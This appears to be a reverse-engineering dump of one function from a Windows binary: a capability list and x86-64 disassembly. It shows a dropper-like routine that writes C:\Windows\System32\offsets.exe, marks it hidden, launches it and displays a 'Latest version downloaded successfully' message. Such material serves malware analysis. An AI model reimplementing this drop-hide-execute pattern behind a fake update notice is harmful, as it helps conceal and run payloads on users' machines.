Function at 0x140066800
Capabilities:
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14037a660]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
lea rcx, [0x1403443a8]
call fcn.1402750cc
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rsp + 0x50], xmm0
xor edi, edi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
mov ebx, 6
mov r8d, ebx
lea rdx, str.136070
lea rcx, [rsp + 0x50]
call fcn.140073f20
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x30]
lea rcx, [0x140384610]
call fcn.140064c40
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x60]
call fcn.140263ba0
lea rdx, str.C:WindowsSystem32offsets.exe
lea rcx, [rbp + 0x60]
call fcn.140069cd0
nop
lea rcx, str.C:WindowsSystem32offsets.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [rax + 2]
lea rcx, str.C:WindowsSystem32offsets.exe
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
sub r8, rdx
lea rcx, [rbp + 0x60]
call fcn.14006a650
lea rcx, [rbp + 0x68]
call fcn.14006d9c0
test rax, rax
jne 0x14006691f
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 2
cmp qword [rbp + rcx + 0xa8], rdi
cmovne ebx, eax
or ebx, dword [rbp + rcx + 0x70]
and ebx, 0x17
mov dword [rbp + rcx + 0x70], ebx
mov eax, dword [rbp + rcx + 0x74]
and eax, ebx
jne 0x140066b0a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movaps xmm0, xmmword [str.C:WindowsSystem32offsets.exe]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm1, xmmword [0x140344470]
movaps xmmword [rbp + 0x180], xmm1
movaps xmm0, xmmword [0x140344480]
movaps xmmword [rbp + 0x190], xmm0
movaps xmm1, xmmword [0x140344490]
movaps xmmword [rbp + 0x1a0], xmm1
mov dword [rbp - 0x60], Ordinal_27
mov qword [rbp - 0x58], rdi
mov dword [rbp - 0x50], 1
mov dword [rbp - 0x78], Ordinal_27
mov qword [rbp - 0x70], rdi
mov dword [rbp - 0x68], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], di
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
lea r9, [rbp - 0x78]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140066a0c
lea r9d, [rax + 0x10]
lea r8, str.Error
lea rdx, str.Error_al_iniciar_el_proceso
jmp 0x140066a34
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x40
lea r8, [0x1403443f0]
lea rdx, str.Latest_version_downloaded_successfully_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x68]
call fcn.140069c20
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x108]
call fcn.1402602fc
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140066ae0
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066adb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066b04
call fcn.140260e60
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140276850
nop
test al, 4
je 0x140066b17
lea rbx, str.ios_base::badbit_set
jmp 0x140066b2b
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.14005b6f0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.14005bef0
lea rdx, [0x140372ae8]
lea rcx, [rsp + 0x50]
call fcn.14026341c
int3